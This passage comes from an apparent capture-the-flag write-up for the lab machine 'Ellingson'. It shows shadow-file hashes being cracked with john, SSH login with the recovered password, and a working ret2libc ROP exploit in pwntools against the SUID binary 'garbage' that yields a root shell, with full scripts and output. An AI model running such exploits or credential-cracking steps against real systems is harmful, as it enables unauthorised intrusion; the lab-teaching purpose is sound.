/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log
/var/log/syslog
/var/log/nginx
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/apt/term.log
/var/log/apport.log
/var/log/mail.log
/snap/core/6405/var/log/dmesg
/snap/core/6405/var/log/fsck/checkfs
/snap/core/6405/var/log/fsck/checkroot
/snap/core/6405/var/spool/rsyslog
/snap/core/4917/var/log/dmesg
/snap/core/4917/var/log/fsck/checkfs
/snap/core/4917/var/log/fsck/checkroot
/snap/core/4917/var/spool/rsyslog
/snap/core/6818/var/log/dmesg
/snap/core/6818/var/log/fsck/checkfs
/snap/core/6818/var/log/fsck/checkroot
/snap/core/6818/var/spool/rsyslog
</code></pre></div>
<p>We cat the shadow.bak file and get some password hashes:</p>
<div class="highlight"><pre><span></span><code>hal@ellingson:~$ cat /var/backups/shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
</code></pre></div>
<p>Let's crack them! It is a bit long as the hashing algorithm is SHA512 ($6). We
use <code>john</code> with the rockyou dictionary.</p>
<div class="highlight"><pre><span></span><code>john hash -w=~/tools/password_lists/rockyou.txt
john --show hash
theplague:password123:17964:0:99999:7:::
margo:iamgod$08:17964:0:99999:7:::
</code></pre></div>
<p>The first password was changed, as mention in the third article:</p>
<blockquote>
<p>We have recently detected suspicious activity on the network. Please make
sure you change your password regularly and read my carefully prepared memo
on the most commonly used passwords. Now as I so meticulously pointed out
the most common passwords are. Love, Secret, Sex and God -The Plague</p>
</blockquote>
<p>Nevertheless, we can connect as <code>margo</code> using SSH and the cracked password. And we
retrieved the user flag:</p>
<div class="highlight"><pre><span></span><code>ssh 10.10.10.139 -lmargo
margo@10.10.10.139's password:
Last login: Wed Oct 2 12:25:47 2019 from 10.10.15.42
margo@ellingson:~$ ls
user.txt
margo@ellingson:~$ cat user.txt
d0ff9e<redacted>
</redacted></code></pre></div>
<h1>Root</h1>
<h2>Finding the SUID binary</h2>
<p>Let's get back to the SUID binary:</p>
<div class="highlight"><pre><span></span><code>margo@ellingson:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
</code></pre></div>
<p>We run the binary, it ask for a password user input. If we put a wrong password
we get an access denied. If we put a "long" password we get a segfault. This
look like a buffer overflow:</p>
<div class="highlight"><pre><span></span><code>margo@ellingson:~$ /usr/bin/garbage
Enter access password: test
access denied.
margo@ellingson:~$ /usr/bin/garbage
Enter access password: qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
access denied.
Segmentation fault (core dumped)
</code></pre></div>
<p>Let's copy the binary on our machine:</p>
<div class="highlight"><pre><span></span><code>scp margo@10.10.10.139:/usr/bin/garbage ./
</code></pre></div>
<p>We check the flags of the binary:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# gdb ./garbage
<snip>
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
</snip></code></pre></div>
<p>The No-Execute bit is set. Therefore we need to use a ret2lib.</p>
<p>The ASLR is activated on the server:</p>
<div class="highlight"><pre><span></span><code>margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2
</code></pre></div>
<p>As ASLR is on and the NX bit (no-execute) is set we will also need the box libc
to do a ROP:</p>
<div class="highlight"><pre><span></span><code>scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 ./
</code></pre></div>
<h2>Analysing the Buffer Overflow</h2>
<p><a href="/media/2019.10/ellingson_garbage"><em>The binary is avalible here</em></a></p>
<p>We load the binary in gdb <a href="https://github.com/longld/peda">peda</a> and search for
the size of the buffer.</p>
<div class="highlight"><pre><span></span><code>gdb-peda$ r < <(python -c 'print "A"*133+"B"+"C"+"D"+"E"+"F"+"G"+"H"+"J"')
Starting program: /root/garbage < <(python -c 'print "A"*133+"B"+"C"+"D"+"E"+"F"+"G"+"H"+"J"')
Enter access password:
access denied.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7f1a0b24ead4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7f1a0b31f580 --> 0x0
RSI: 0x12a0ba0 ("access denied.\nssword: \n\220\v*\001")
RDI: 0x0
RBP: 0x4443424141414141 ('AAAAABCD')
RSP: 0x7ffedbba9290 --> 0x7ffedbba9380 --> 0x1
RIP: 0x4a48474645 ('EFGHJ')
R8 : 0xf
R9 : 0x7f1a0b31d848 --> 0x7f1a0b31d760 --> 0xfbad2a84
R10: 0x4005a5 --> 0x7475700073747570 ('puts')
R11: 0x246
R12: 0x401170 (<_start>: xor ebp,ebp)
R13: 0x7ffedbba9380 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction
overflow)
</code></pre></div>
<p>The buffer size is 136 (133+3). We could also use the peda's functions
<code>pattern_create</code> and <code>pattern_offset</code> to find it. Then we can start to write our exploitation
script using <a href="http://pwntools.com">pwntools</a>:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./garbage'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s2">"DEBUG"</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">136</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span>
<span class="c1">#Enter access password: 123456</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>We want to get the dynamic address of <code>LIBC</code> in order to be able to call a
specific function (let's say <code>/bin/sh</code>). For that we need:</p>
<ul>
<li>
<p>to find a <code>pop rdi</code> call. We use <a href="https://github.com/sashs/Ropper">ropper</a> for that:</p>
<p>:::text
root@kalili:~# ropper --file ./garbage --search 'pop rdi'
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi</p>
<p>[INFO] File: ./garbage
0x000000000040179b: pop rdi; ret;</p>
</li>
<li>
<p>two informations about the <a href="https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html">PLT and GOT</a> <code>puts</code> callsinto <code>LIBC</code>. For that we can grep the <code>objdump</code> output:</p>
<p>:::text
objdump -D garbage | grep puts
0000000000401050 <a href="mailto:puts@plt">puts@plt</a>:
401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@glibc _2.2.5=""></puts@glibc></p>
</li>
</ul>
<p>We add this addresses to our exploit and output the <code>puts</code> address in <code>LIBC</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./garbage'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s2">"DEBUG"</span><span class="p">)</span>
<span class="n">plt_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401050</span><span class="p">)</span>
<span class="n">got_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x404028</span><span class="p">)</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40179b</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">136</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">pop_rdi</span><span class="o">+</span> <span class="n">got_put</span> <span class="o">+</span> <span class="n">plt_put</span>
<span class="c1">#Enter access password: 123456</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="c1"># Leaked address printed in a readable format</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s1">'Leaked puts@GLIBC: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">))</span>
</code></pre></div>
<p>Here is the output of it (for sanity I commented the debugging option):</p>
<div class="highlight"><pre><span></span><code># python exploitP.py
[+] Starting local process './garbage': pid 1407
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @ T�Z\x7f\x00\x00
[*] Stopped process './garbage' (pid 1407)
# python exploitP.py
[+] Starting local process './garbage': pid 1411
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @pYBs\x7f\x00\x00
[*] Stopped process './garbage' (pid 1411)
# python exploitP.py
[+] Starting local process './garbage': pid 1415
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @0X\x0en\x7f\x00\x00
[*] Stopped process './garbage' (pid 1415)
</code></pre></div>
<p>We got the leaked address of the <code>puts</code> call in LIBC.
As the ASLR is on, multiple runs give us different addresses for the <code>puts</code> call
in LIBC. But our process logically stop. If we rerun it the address will be
different. Therefore we need to recall our main. We get the address using
<code>objdump</code>:</p>
<div class="highlight"><pre><span></span><code>objdump -D garbage | grep main
401194: ff 15 56 2e 00 00 callq *0x2e56(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:
</main></code></pre></div>
<p>And we add it to our script:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./garbage'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s2">"DEBUG"</span><span class="p">)</span>
<span class="n">plt_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401050</span><span class="p">)</span>
<span class="n">got_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x404028</span><span class="p">)</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40179b</span><span class="p">)</span>
<span class="n">plt_main</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401619</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">136</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">pop_rdi</span><span class="o">+</span> <span class="n">got_put</span> <span class="o">+</span> <span class="n">plt_put</span> <span class="o">+</span> <span class="n">plt_main</span>
<span class="c1">#Enter access password: 123456</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="c1"># Leaked address printed in a readable format</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s1">'Leaked puts@GLIBC: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">))</span>
</code></pre></div>
<h2>ret2libc locally</h2>
<p>We have the leak address of the <code>puts</code> call in <code>LIBC</code>. We can dynamically
compute the offset between our leaked address and the <code>LIBC</code> address. For that
we need to found the <code>puts</code> call in <code>LIBC</code>:</p>
<div class="highlight"><pre><span></span><code># locate libc.so.6
/lib/x86_64-linux-gnu/libc.so.6
</code></pre></div>
<p># readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep puts
194: 0000000000074040 429 FUNC GLOBAL DEFAULT 14 _IO_puts@@GLIBC_2.2.5
426: 0000000000074040 429 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5</p>
<p>The "beginning" of <code>LIBC</code> is then our leak address minus <code>0x74040</code>.</p>
<p>We now want to call a shell, for that we need the addresses of <code>system</code> and
<code>/bin/sh</code> in <code>LIBC</code>:</p>
<div class="highlight"><pre><span></span><code># readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep system
235: 0000000000129d20 99 FUNC GLOBAL DEFAULT 14 svcerr_systemerr@@GLIBC_2.2.5
613: 0000000000046ff0 45 FUNC GLOBAL DEFAULT 14 __libc_system@@GLIBC_PRIVATE
1421: 0000000000046ff0 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
# strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh
183cee /bin/sh
</code></pre></div>
<p>As we want to exploit a SUID binary we also need to invoke the <code>setuid</code> call:</p>
<div class="highlight"><pre><span></span><code># readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep setuid
25: 00000000000c8ac0 144 FUNC WEAK DEFAULT 14 setuid@@GLIBC_2.2.5
</code></pre></div>
<p>Our exploit is now the following:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./garbage'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">)</span>
<span class="c1">#context(log_level="DEBUG")</span>
<span class="n">plt_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401050</span><span class="p">)</span>
<span class="n">got_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x404028</span><span class="p">)</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40179b</span><span class="p">)</span>
<span class="n">plt_main</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401619</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">136</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">pop_rdi</span> <span class="o">+</span> <span class="n">got_put</span> <span class="o">+</span> <span class="n">plt_put</span> <span class="o">+</span> <span class="n">plt_main</span>
<span class="c1">#Enter access password: 123456</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s1">'Leaked puts@GLIBC: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">))</span>
<span class="c1">#unpack again</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">)</span>
<span class="n">libc_put</span> <span class="o">=</span> <span class="mh">0x74040</span> <span class="c1">#local</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">leaked_puts</span> <span class="o">-</span> <span class="n">libc_put</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">"ghttps://wappalyzer.com/libc offset: </span><span class="si">%x</span><span class="s2">"</span> <span class="o">%</span> <span class="n">offset</span><span class="p">)</span>
<span class="n">libc_sys</span> <span class="o">=</span> <span class="mh">0x46ff0</span> <span class="c1"># local</span>
<span class="n">libc_sh</span><span class="o">=</span> <span class="mh">0x183cee</span> <span class="c1"># local</span>
<span class="n">setuid</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>
<span class="n">libc_setuid</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xc8ac0</span> <span class="o">+</span> <span class="n">offset</span><span class="p">)</span> <span class="c1"># local</span>
<span class="n">sys</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">libc_sys</span><span class="p">)</span>
<span class="n">sh</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">libc_sh</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">pop_rdi</span> <span class="o">+</span> <span class="n">setuid</span> <span class="o">+</span> <span class="n">libc_setuid</span> <span class="o">+</span> <span class="n">pop_rdi</span> <span class="o">+</span> <span class="n">sh</span> <span class="o">+</span> <span class="n">sys</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>When running the script we grab a shell (as I use my Kali VM on root we don't
see a real privilege escalation):</p>
<div class="highlight"><pre><span></span><code># python exploit.py
[+] Starting local process './garbage': pid 1909
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @P\x84tC\x7f\x00\x00
[*] glibc offset: 7f43747d1000
Enter access password:
access denied.
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div>
<h2>Running the exploit remotely</h2>
<p>In order to run the exploit remotely we need to change the <code>LIBC</code> addresses with
the one we copy from the ellingson machine. We also need to change our process
to use the one remote. <a href="https://github.com/Gallopsled/pwntools">Pnwtools</a> is
perfect for that as we just need to change our <code>process</code> variable. Our final
scrip is now:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">shell</span> <span class="o">=</span> <span class="n">ssh</span><span class="p">(</span><span class="s1">'margo'</span><span class="p">,</span> <span class="s1">'10.10.10.139'</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s1">'iamgod$08'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">22</span><span class="p">)</span>
<span class="n">p</span><span class="o">=</span><span class="n">shell</span><span class="o">.</span><span class="n">process</span><span class="p">([</span><span class="s1">'/usr/bin/garbage'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s2">"DEBUG"</span><span class="p">)</span>
<span class="n">plt_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401050</span><span class="p">)</span>
<span class="n">got_put</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x404028</span><span class="p">)</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40179b</span><span class="p">)</span>
<span class="n">plt_main</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401619</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">136</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">pop_rdi</span> <span class="o">+</span> <span class="n">got_put</span> <span class="o">+</span> <span class="n">plt_put</span> <span class="o">+</span> <span class="n">plt_main</span>
<span class="c1">#Enter access password: 123456</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s1">'Leaked puts@GLIBC: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">))</span>
<span class="c1">#unpack again</span>
<span class="n">leaked_puts</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leaked_puts</span><span class="p">)</span>
<span class="n">libc_put</span> <span class="o">=</span> <span class="mh">0x74040</span> <span class="c1">#local</span>
<span class="n">libc_put</span> <span class="o">=</span> <span class="mh">0x809c0</span> <span class="c1"># remote</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">leaked_puts</span> <span class="o">-</span> <span class="n">libc_put</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">"glibc offset: </span><span class="si">%x</span><span class="s2">"</span> <span class="o">%</span> <span class="n">offset</span><span class="p">)</span>
<span class="n">libc_sys</span> <span class="o">=</span> <span class="mh">0x46ff0</span> <span class="c1"># local</span>
<span class="n">libc_sys</span> <span class="o">=</span> <span class="mh">0x4f440</span> <span class="c1"># remote</span>
<span class="n">libc_sh</span><span class="o">=</span> <span class="mh">0x183cee</span> <span class="c1"># local</span>
<span class="n">libc_sh</span><span class="o">=</span> <span class="mh">0x1b3e9a</span> <span class="c1"># remote</span>
<span class="n">setuid</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>
<span class="n">libc_setuid</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xc8ac0</span> <span class="o">+</span> <span class="n">offset</span><span class="p">)</span> <span class="c1"># local</span>
<span class="n">libc_setuid</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xe5970</span> <span class="o">+</span> <span class="n">offset</span><span class="p">)</span> <span class="c1"># remote</span>
<span class="n">sys</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">libc_sys</span><span class="p">)</span>
<span class="n">sh</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">libc_sh</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">pop_rdi</span> <span class="o">+</span> <span class="n">setuid</span> <span class="o">+</span> <span class="n">libc_setuid</span> <span class="o">+</span> <span class="n">pop_rdi</span> <span class="o">+</span> <span class="n">sh</span> <span class="o">+</span> <span class="n">sys</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>The output of the script give us a root shell on the machine:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# python exploitR.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 3704
[DEBUG] Sent 0xa9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 9b 17 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000090 28 40 40 00 00 00 00 00 50 10 40 00 00 00 00 00 │(@@·│····│P·@·│····│
000000a0 19 16 40 00 00 00 00 00 0a │··@·│····│·│
000000a9
[DEBUG] Received 0x17 bytes:
'Enter access password: '
[DEBUG] Received 0x2e bytes:
00000000 0a 61 63 63 65 73 73 20 64 65 6e 69 65 64 2e 0a │·acc│ess │deni│ed.·│
00000010 c0 59 74 0f f5 7f 0a 45 6e 74 65 72 20 61 63 63 │·Yt·│···E│nter│ acc│
00000020 65 73 73 20 70 61 73 73 77 6f 72 64 3a 20 │ess │pass│word│: │
0000002e
Enter access password:
access denied.
[+] Leaked puts@GLIBC: �Yt\x0f�
[*] glibc offset: 7ff50f6c5000
[DEBUG] Sent 0xb9 bytes:
